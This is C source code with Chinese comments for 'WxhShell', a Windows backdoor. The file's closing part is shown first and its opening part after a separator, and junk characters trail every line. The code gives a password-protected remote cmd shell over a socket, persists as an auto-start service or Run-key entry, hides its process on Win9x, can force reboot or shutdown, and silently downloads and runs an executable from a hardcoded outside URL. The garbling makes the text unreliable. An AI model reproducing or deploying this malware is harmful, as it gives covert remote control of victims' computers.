    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S[2?,C<2=  
    else { a] 7g\rg)  
    closesocket(wsh); |pv$],&&:  
    ExitThread(0); M]p-<R\  
    } l*OR{!3H$  
    break; vb?.`B_>&  
    } NJE*/_S  
  // 获取shell U]gUGD!5x  
  case 's': { DO *  
    CmdShell(wsh); akNqSZwj  
    closesocket(wsh); K:jn^JN$  
    ExitThread(0); 49M1^nMvoo  
    break; qEXN} Pq<  
  } 8#lq:  
  // 退出 g)^s+Y  
  case 'x': { EnlAgL']|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ye=4<b_  
    CloseIt(wsh); $/C1s"C@O  
    break; HV)aVkr/&  
    } +B1&bOb  
  // 离开 $A9Pi"/*z  
  case 'q': { p&x!m}!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x55W"q7  
    closesocket(wsh); tB"9%4](  
    WSACleanup(); gN />y1{a  
    exit(1); Cs[ d:T  
    break; "Kp#Lx  
        } _qf39fM;\  
  } !CX WoM  
  } ,>rvl P  
-$o0P'Vx  
  // 提示信息 K&%CeUa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s$>n U  
} ciN\SA ZY  
  } z8ZQL.z%h  
!2.BLJE>  
  return; vio>P-2Eho  
} ltgtD k  
^_|kEvk0  
// shell模块句柄 9/{zS3h3  
int CmdShell(SOCKET sock) #l4T/`u'9!  
{ \ m~?yq8H  
STARTUPINFO si; wxo  
ZeroMemory(&si,sizeof(si)); #O}}pF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H( i   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XP?jsBE  
PROCESS_INFORMATION ProcessInfo; sd\p[MXX  
char cmdline[]="cmd"; !`I@Rk]`c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *"8Ls0!  
  return 0; 8i`>],,ch  
} %r(WS_%K|  
lUs$I{2_  
// 自身启动模式 Yu3S3aRE  
int StartFromService(void)  rvd $4l^  
{   < v]  
typedef struct +n;nvf}(  
{ L/tn;0  
  DWORD ExitStatus; BM,hcT r?  
  DWORD PebBaseAddress; ~/`/r%1/J  
  DWORD AffinityMask; JyMk @Y  
  DWORD BasePriority; 11yXI[  
  ULONG UniqueProcessId; NAvR^"I~  
  ULONG InheritedFromUniqueProcessId;  '/.Dxib  
}   PROCESS_BASIC_INFORMATION; wL?Up>fr  
>J:=)1`  
PROCNTQSIP NtQueryInformationProcess; XJ4f;U  
=WY'n l'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LOx+?4|y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~U&NY7.@  
eTx9fx w  
  HANDLE             hProcess; [#Y L_*p  
  PROCESS_BASIC_INFORMATION pbi; I1E9E$m5\<  
{'O><4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ! dzgi:  
  if(NULL == hInst ) return 0;  h$l/wn  
}%jF!d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R#d~a;j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rY_~(?XS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9Lb96K?=>  
NZq-%bE  
  if (!NtQueryInformationProcess) return 0; ccuGM WG*  
.c"nDCFVR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^}=)jLS  
  if(!hProcess) return 0; y d 97ys  
=#G 2}8mQD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @N>7+ 4  
u< BU4c/p  
  CloseHandle(hProcess); A#"Wk]jX  
lnZ{Ryo(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8v"rM >[  
if(hProcess==NULL) return 0; *DF3juf~  
)5Khl"6!z  
HMODULE hMod; ]<f)Rf">:`  
char procName[255]; `>:5[Y  
unsigned long cbNeeded; <,]:jgX  
p&<Ssc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S>yiD`v  
} e[ E  
  CloseHandle(hProcess); v"bWVc~H  
} !m43x/&  
if(strstr(procName,"services")) return 1; // 以服务启动 &BVHQ7[  
rQjk   
  return 0; // 注册表启动 ) O0Cz n  
} fq7#rZCxX  
N"S`9B1eD(  
// 主模块 U zy@\  
int StartWxhshell(LPSTR lpCmdLine) PF{uaKWk  
{ 8 1,N92T5  
  SOCKET wsl; MpCPY"WLL  
BOOL val=TRUE; oB:7R^a  
  int port=0; E'QAsU8pP  
  struct sockaddr_in door; Y <6|z3  
*QC6zJ  
  if(wscfg.ws_autoins) Install(); xVx s~p1  
\((iR>^|  
port=atoi(lpCmdLine); mrTf[ "K  
}je<^]a  
if(port<=0) port=wscfg.ws_port; BhJ>G%  
h,{m{Xh  
  WSADATA data; 1W USp;JMl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5GsmBf$RUb  
V%,,GmiU]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Kr}RFJ"d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m}]{Y'i]R  
  door.sin_family = AF_INET; Za|7gt];l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _H+]G"k/r  
  door.sin_port = htons(port); .n 9.y8C  
P3oYk_oW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vk6c^/v  
closesocket(wsl); Etz#+R&*  
return 1; V6g*"e/8  
} T^A(v(^D  
*lfjsrPu  
  if(listen(wsl,2) == INVALID_SOCKET) { S^QEctXU  
closesocket(wsl); q\fbrv%I4  
return 1; !sT>]e  
} NFT:$>83`  
  Wxhshell(wsl); )UR$VL  
  WSACleanup(); VUP|j/qD  
mb\T)rj  
return 0; Rk$7jZdTf  
|~9rak,  
} M Kyj<@[  
\8{SQ%  
// 以NT服务方式启动 lu#a.41  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }z]d]  
{ UF9={fN1  
DWORD   status = 0; iq;\},  
  DWORD   specificError = 0xfffffff; 579Q&|L.  
e,(Vy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <a R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UylIxd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !yNU-/K  
  serviceStatus.dwWin32ExitCode     = 0; (hc!!:N~q  
  serviceStatus.dwServiceSpecificExitCode = 0; N_%@_$3G]  
  serviceStatus.dwCheckPoint       = 0; }e7Rpgu  
  serviceStatus.dwWaitHint       = 0; F/v.hP_  
!r/i<~'Bx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %NLd"SV  
  if (hServiceStatusHandle==0) return; bb_elmb)n  
[v1$L p  
status = GetLastError(); z~H1f$}  
  if (status!=NO_ERROR) &8VH m?h  
{ jFQy[k-B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !'$*Z(  
    serviceStatus.dwCheckPoint       = 0; frcAXh9  
    serviceStatus.dwWaitHint       = 0; bJ2-lU% ;2  
    serviceStatus.dwWin32ExitCode     = status; ]OpGD5jZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6~dAK3v5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O"\4[HE^  
    return; ?q!4REM  
  } \`k=9{R.  
qnP4wRpr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MWwqon|  
  serviceStatus.dwCheckPoint       = 0; X}#vt?mu  
  serviceStatus.dwWaitHint       = 0; G4 7^xR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w,1N ;R&  
} HNkOPz+d&8  
r/h\>s+N  
// 处理NT服务事件,比如:启动、停止 }s2CND  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :(q4y-o6  
{ W6?=9].gc  
switch(fdwControl) rfDGS%!O%  
{ g$Tsht(rHD  
case SERVICE_CONTROL_STOP: ".jO2GO^  
  serviceStatus.dwWin32ExitCode = 0; ~&:-c v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?y|&Mz'XJ(  
  serviceStatus.dwCheckPoint   = 0; ww|fqx?  
  serviceStatus.dwWaitHint     = 0; 'D W|a  
  { g}~s"Sz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bK "I9T #  
  } DY`0 `T  
  return; 3]S*p ErY  
case SERVICE_CONTROL_PAUSE: :$I "n\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \O*ZW7?TJ  
  break; Z|K HF"  
case SERVICE_CONTROL_CONTINUE: |QS|\8g{0V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1c,#`\Iikd  
  break; gwB,*.z  
case SERVICE_CONTROL_INTERROGATE: MJX ny4n  
  break; %)V=)l.j  
}; 7sVM[lr<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O+!4KNN.-  
} sm##owI  
qiOtbH=  
// 标准应用程序主函数 Y*xgY*K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,DEq"VW_  
{ .BxI~d^  
<.`i,|?MHS  
// 获取操作系统版本 Vg62HZ |  
OsIsNt=GetOsVer(); zd_N' :6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ry[7PLn]  
#>yOp *  
  // 从命令行安装 D[^K0<-Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); i~x]!!  
EG4~[5[YgI  
  // 下载执行文件 `n,RC2yo  
if(wscfg.ws_downexe) { h.-L_!1B7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &._"rhz  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ee5YW/9]  
} 39^+;Mev  
)EMlGM'2q  
if(!OsIsNt) { 5 CnNp?.t^  
// 如果时win9x,隐藏进程并且设置为注册表启动 `U0XvWPr[  
HideProc(); /'oo;e  
StartWxhshell(lpCmdLine); 9ad`q+kY  
} xkf2;  
else N-N]BS6  
  if(StartFromService()) p#c41_?'e  
  // 以服务方式启动 YUSrZ9Yg  
  StartServiceCtrlDispatcher(DispatchTable); <=CABWO.  
else -s HX   
  // 普通方式启动 _"*vj-{-y  
  StartWxhshell(lpCmdLine); |i B#   
8Z}%,G*n  
return 0; 3]S_w[Q4  
} / 8O=3  
)h ,v(Rxa  
OGEe8Z9Jt  
-[!t=qi  
=========================================== AQ FnS&Y  
b~ )@e9  
"} :CM_  
WBKf)A^S  
S9DXd]6q_  
;/NC[:'$D  
" a /]FlT  
I_#5gq  
#include <stdio.h> xd `MEOY  
#include <string.h> 3'p 1m`8  
#include <windows.h> 3LyNi$`f  
#include <winsock2.h> t=eI*M+>h  
#include <winsvc.h> UZsvYy?  
#include <urlmon.h> I>rTqOK  
,g'>Ib%  
#pragma comment (lib, "Ws2_32.lib") 7Z9'Y?[m  
#pragma comment (lib, "urlmon.lib") d&G]k!|\  
}e|cszNRd  
#define MAX_USER   100 // 最大客户端连接数 Z=$-S(>J  
#define BUF_SOCK   200 // sock buffer &g}P)x r  
#define KEY_BUFF   255 // 输入 buffer {Zw;<1{E  
z 3[J sE%  
#define REBOOT     0   // 重启 1tO96t^d%  
#define SHUTDOWN   1   // 关机 3AENY@*  
)cL(()N  
#define DEF_PORT   5000 // 监听端口 6 o   
RU#}!Kq  
#define REG_LEN     16   // 注册表键长度 W3ms8=z  
#define SVC_LEN     80   // NT服务名长度 s;Bh69  
]'n4e*  
// 从dll定义API Rkg)yme!N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); An}RD73!w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h+Lpj^<2a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rYV]<[?~7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aZo}Ix:/  
%Unwh1VG  
// wxhshell配置信息 |3FGMg%  
struct WSCFG { 5'DY)s-K  
  int ws_port;         // 监听端口 LV1drc  
  char ws_passstr[REG_LEN]; // 口令 a Z)1SX`D  
  int ws_autoins;       // 安装标记, 1=yes 0=no CN` ~DD{  
  char ws_regname[REG_LEN]; // 注册表键名 22ySMtxn  
  char ws_svcname[REG_LEN]; // 服务名 PI$i_3N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yX*$PNL5w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #c' B2Jn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }; 7I   
int ws_downexe;       // 下载执行标记, 1=yes 0=no '>"blfix8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )sQ/$gJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RIUJX{?  
NKEmY-f;  
}; wWx{#!W  
iEI#J!~  
// default Wxhshell configuration P9:5kiP H  
struct WSCFG wscfg={DEF_PORT, nT01B1/<]  
    "xuhuanlingzhe", E;`^`T40  
    1, lq.]@zlSO  
    "Wxhshell", k(7Q\JKE  
    "Wxhshell", H_XspiB@  
            "WxhShell Service", %H{;wVjK  
    "Wrsky Windows CmdShell Service", }oiNgs/N  
    "Please Input Your Password: ", e*`ht+  
  1, GzaGTd.b  
  "http://www.wrsky.com/wxhshell.exe", Is6}VLbB  
  "Wxhshell.exe" 5~UW=   
    }; ^kC!a>&  
.>r3ZwrE'  
// 消息定义模块 V= &M\58  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f`;w@gR`=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bbjEQby  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o,?G(  
char *msg_ws_ext="\n\rExit."; =rZ'!Pa  
char *msg_ws_end="\n\rQuit."; PPFt p3C  
char *msg_ws_boot="\n\rReboot..."; +-),E.  
char *msg_ws_poff="\n\rShutdown..."; $"( 15U  
char *msg_ws_down="\n\rSave to "; B#IUSHC  
&RbP N^  
char *msg_ws_err="\n\rErr!"; yFeFI@Hp 3  
char *msg_ws_ok="\n\rOK!"; { 7DXSe4  
/zXOta G  
char ExeFile[MAX_PATH]; nC[aEZ7  
int nUser = 0; /9gn)q2f(  
HANDLE handles[MAX_USER]; 8PVjNS/  
int OsIsNt; !U}2YM J  
f34/whD65  
SERVICE_STATUS       serviceStatus; (f_YgQEL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; | @ ut/  
[aA@V0l  
// 函数声明 fwA8=o SZd  
int Install(void); L58#ri=  
int Uninstall(void); lw~ V  
int DownloadFile(char *sURL, SOCKET wsh); Xm|~1 k_3  
int Boot(int flag); ){)-}M  
void HideProc(void); =Yl ea,S  
int GetOsVer(void); dR_6j}  
int Wxhshell(SOCKET wsl); (_@]-   
void TalkWithClient(void *cs); jTg~]PQ^  
int CmdShell(SOCKET sock); 5_](N$$  
int StartFromService(void); d^M*%az  
int StartWxhshell(LPSTR lpCmdLine); !x ~s`z  
"P|n'Mx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WvArppANo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5oCg&aT  
~4=*kJ#7  
// 数据结构和表定义 RR:%"4M  
SERVICE_TABLE_ENTRY DispatchTable[] = mj9sX^$ dE  
{ XC;Icr)  
{wscfg.ws_svcname, NTServiceMain}, gjz-CY.hz  
{NULL, NULL} _()1 "5{  
}; <b *sn] l  
U$OI]Dd9  
// 自我安装  7 FY2a  
int Install(void) _#r00Ze  
{ O9>$(`@I  
  char svExeFile[MAX_PATH]; VJTO:}Q  
  HKEY key; uY>M3h#qx  
  strcpy(svExeFile,ExeFile); ZB)R4  
? _bFe![q  
// 如果是win9x系统,修改注册表设为自启动 ;ltk}hJ]  
if(!OsIsNt) { 8kdJtEW3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T\$i=,_$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [mjie1j/<  
  RegCloseKey(key); w< Xwz`O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JttDRNZAU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); li\=mH,Wr  
  RegCloseKey(key); JrY*K|YdW  
  return 0; 9)W &yi  
    } OqciZ@#5n  
  } x>##qYT  
} _ {wP:dI "  
else { )kI**mI}  
YI7M%B9Lj  
// 如果是NT以上系统,安装为系统服务 Mth:V45G|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ti%RE:*  
if (schSCManager!=0) %aw.o*@:  
{ gELG/6l  
  SC_HANDLE schService = CreateService `?N0?;  
  ( m }HaJ  
  schSCManager,  P33xt~  
  wscfg.ws_svcname, =c*l!."0  
  wscfg.ws_svcdisp, >L!c} Ku  
  SERVICE_ALL_ACCESS, _9 '_w&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v ;}s`P\"  
  SERVICE_AUTO_START, EZ|v,1`e  
  SERVICE_ERROR_NORMAL, 4LB8p7$|a3  
  svExeFile, E}S%yD[  
  NULL, 51y"#\7  
  NULL, <nqv)g"u0  
  NULL, mrnPZf i  
  NULL, !YjxCx  
  NULL /QyKXg6)l  
  ); G'G8`1Nj  
  if (schService!=0) /<8y>  
  { X)~wB7_0G  
  CloseServiceHandle(schService); 4RtAwB  
  CloseServiceHandle(schSCManager); h,m 90Hd+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r <5}& B`  
  strcat(svExeFile,wscfg.ws_svcname); 1VM2CgRa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9!uiQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kq5X<'MM9N  
  RegCloseKey(key); P* `*^r3  
  return 0; 1,;X4/*  
    } p+V#86(3  
  } J,CwC)  
  CloseServiceHandle(schSCManager); \|{/.R  
} Px=@Tw N,  
} ;mk[!  
}H\I[5*  
return 1; 1\&j)3mC  
} X@DW1<wEt  
2,q*[Kh1  
// 自我卸载 [DM0'4  
int Uninstall(void) ^ U mYW  
{ z.SC^/\o|  
  HKEY key; bqAW  
[#q>Aq$11  
if(!OsIsNt) { W~ET/h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (n*:LS=0  
  RegDeleteValue(key,wscfg.ws_regname); %?PFe}  
  RegCloseKey(key); /v+)#[]>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6j<!W+~G  
  RegDeleteValue(key,wscfg.ws_regname); qtZ? kJ  
  RegCloseKey(key); PT6]qS'1  
  return 0; {k) gDJU  
  } \\FT.e6  
} .N qXdari  
} jhm??Af  
else { m<-ShRr*b  
I} jgz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3@gsKtA&H4  
if (schSCManager!=0) V|_ h[hXE  
{ O[C4xq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^E.L8  
  if (schService!=0) RTm/-6[N  
  { aE`d[d SG  
  if(DeleteService(schService)!=0) { kJ_8|  
  CloseServiceHandle(schService); T[bCY 6  
  CloseServiceHandle(schSCManager); ~_D.&-xUF  
  return 0; ?@.v*'qR  
  } Jo\P,-\(  
  CloseServiceHandle(schService); h<Aq|*  
  } ai/|qYf  
  CloseServiceHandle(schSCManager); _?I{>:!|  
} cl%+m  
} (jc& Fk  
IA@>'O  
return 1; (h3L=  
} m$W >~  
E&P2E3P  
// 从指定url下载文件 C_Ewu*T7  
int DownloadFile(char *sURL, SOCKET wsh) 'k X8}bx  
{ H&)}Z6C"  
  HRESULT hr; +P2oQ_Fk`9  
char seps[]= "/"; !5o j~H  
char *token; e|\xF V=4  
char *file; gA!@oiq@  
char myURL[MAX_PATH]; Wb-C0^dTn  
char myFILE[MAX_PATH]; pd|KIs%jl  
T+<.KvO-  
strcpy(myURL,sURL); -!j6&  
  token=strtok(myURL,seps); q<dG}aj  
  while(token!=NULL) *5%vU|9b  
  { nF,F#V8l  
    file=token; &<PIm  
  token=strtok(NULL,seps); G](4!G&  
  } ?RsrY4P  
XM rk2]_  
GetCurrentDirectory(MAX_PATH,myFILE); 6Wu*zY_+  
strcat(myFILE, "\\"); UTD_rQ  
strcat(myFILE, file); ;Bs~E  
  send(wsh,myFILE,strlen(myFILE),0); X7},|cmD_  
send(wsh,"...",3,0); _=Gj J~2n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $4nAb^/  
  if(hr==S_OK) : {p'U2  
return 0; d y HC8  
else "b} mVrFh  
return 1; 8s1nE_3  
vYed_'_  
} !D#"+&&G8  
hmu>s'  
// 系统电源模块 7Y5r3a}%  
int Boot(int flag) &lQ%;)'  
{ 'ToE Y3  
  HANDLE hToken; y[8;mCh  
  TOKEN_PRIVILEGES tkp; D'g,<-ahl  
NKu[6J?)  
  if(OsIsNt) { )}ev;37<C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >'*%wf[{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6 c_#"4  
    tkp.PrivilegeCount = 1; -s3`mc}*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qoO`)<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s1:Wrz?4  
if(flag==REBOOT) { xyp{_ MZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8xPt1Sotq[  
  return 0; oac)na:O#  
} EeW ,-I  
else { -S'KxC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !5`MiH  
  return 0; .-d'*$ yJ  
} xXe3E&  
  } mZ+!8$1X  
  else { @ ^{`!>Vt  
if(flag==REBOOT) { Xs0)4U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mUBy*.  
  return 0; 2q~ .,vpP  
} \SWTP1  
else { *uc/| c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d:%b  
  return 0;  %?ElC  
} 5\Q Tm;  
} wQhNQ(H~\  
>qeDb0  
return 1; c1#0o) q*7  
} (95|DCL  
W$4$%r8  
// win9x进程隐藏模块 Q:-T' xk@  
void HideProc(void) u{sHuVl  
{ pY31qhoZ.  
/<rvaR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EF0v!XW  
  if ( hKernel != NULL ) 2bt>t[0ad  
  { rzf Lp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,lZ19B?WP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Nk'<*;e  
    FreeLibrary(hKernel); gRLt0&Q~  
  } aI=p_+.h  
q0.!T0i  
return; (i~UH04r>s  
} %*D=ni#(sT  
nWd!ovd  
// 获取操作系统版本 nBy-/BU&  
int GetOsVer(void) jPWONz(#  
{ AyE*1 FD  
  OSVERSIONINFO winfo; 2j s/>L0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JRl=j2z  
  GetVersionEx(&winfo); JW>k8QjyN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S\GWMB!oF  
  return 1; K#R]of~/  
  else { DYY9MG8  
  return 0; f_c\uN@f  
} lC5zqyG  
"~4V(  
// 客户端句柄模块 iOiF kka  
int Wxhshell(SOCKET wsl) '2lV(>"  
{  /YJo"\7  
  SOCKET wsh; ^/n1h g  
  struct sockaddr_in client; i}m'#b  
  DWORD myID; q{w|`vIb  
9qap#A  
  while(nUser<MAX_USER) EyK!'9~a  
{ 9\8ektq}Z  
  int nSize=sizeof(client); E@ea ?Sx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A/y|pg5  
  if(wsh==INVALID_SOCKET) return 1; w%L4O;E]*{  
t0 e6iof^o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  VY6G{f  
if(handles[nUser]==0) [UwQi!^-O  
  closesocket(wsh); u62H+'k}F  
else -Q? i16pM  
  nUser++; [n"eD4)K|  
  } Xt$qjtVM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); , z\Qd07u  
Uh/=HNR  
  return 0; JD *HG]  
} OY1bFIE  
{ j_-iF  
// 关闭 socket ]xRR/S4  
void CloseIt(SOCKET wsh) i!YfR]"}  
{ _hY6 NMw  
closesocket(wsh); ?o(284sV3  
nUser--; ip?]&5s  
ExitThread(0); qJG;`Ugl:  
} d(^8#4  
Bz'.7" ":0  
// 客户端请求句柄 0moAmfc  
void TalkWithClient(void *cs) l%+ &V^:  
{ kqB# 9  
V Rv4p5  
  SOCKET wsh=(SOCKET)cs; #Us<#"fC  
  char pwd[SVC_LEN]; 4U dk#  
  char cmd[KEY_BUFF]; x-i,v"8  
char chr[1]; S(.J  
int i,j; vjX,7NY?  
P5my]4|x  
  while (nUser < MAX_USER) { "G%S m")  
,$`} Rf<  
if(wscfg.ws_passstr) { t?9J'.p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?)9L($VVD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ) f3A\^  
  //ZeroMemory(pwd,KEY_BUFF); >vD}gGBe  
      i=0; 2S7 BzZ/  
  while(i<SVC_LEN) { x<I[?GT=  
jm%P-C @  
  // 设置超时 k[*9b:~  
  fd_set FdRead; ZV{C9S&  
  struct timeval TimeOut; C]b:#S${  
  FD_ZERO(&FdRead); du$lS':`  
  FD_SET(wsh,&FdRead); (rFkXK4^J  
  TimeOut.tv_sec=8; faOiNR7;h  
  TimeOut.tv_usec=0; dEYw_qJ2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O.jm{x!m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YT-ua{ .^  
i6yA>#^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A{> w5T  
  pwd=chr[0]; 0_qr7Ui8(  
  if(chr[0]==0xd || chr[0]==0xa) { =mLp g4  
  pwd=0; 5QqU.9M  
  break; ;?q(8^A  
  } T"99m^y  
  i++; Tu-lc)  
    } @ 95p[  
J4eU6W+{  
  // 如果是非法用户,关闭 socket KKpM=MZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oI#TjF  
} +788aK,{#  
=w`Mc\o"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6W_:w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g@ J F  
<yl@!-'J7  
while(1) { OGcdv{ ,P  
qGq]E `O  
  ZeroMemory(cmd,KEY_BUFF); A< .5=E,/  
~ 6=6YP  
      // 自动支持客户端 telnet标准   !{ *yWpZ:  
  j=0; 8^EWD3N`  
  while(j<KEY_BUFF) { i'<hT q4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  0Y!"3bw|  
  cmd[j]=chr[0]; (}wPu&Is,C  
  if(chr[0]==0xa || chr[0]==0xd) { t{UVX%b  
  cmd[j]=0; uKzx >\}?1  
  break; e!0xh  
  } 2MB>NM<xO  
  j++; ajkV"~w',|  
    } 'T^MaLK  
[? "hmSJ  
  // 下载文件 !Gnm<|.  
  if(strstr(cmd,"http://")) { $m ;p@#n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l`~$cK!  
  if(DownloadFile(cmd,wsh)) .WSn Y71  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 41/civX>V  
  else @F8NN\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pg.JI:>2Ku  
  } cFie;k  
  else { ^jL44? W}l  
,Gy,bcv{  
    switch(cmd[0]) { ts&\JbL  
  8p829  
  // 帮助 NI"Zocp  
  case '?': { o~Hq&C"^}  
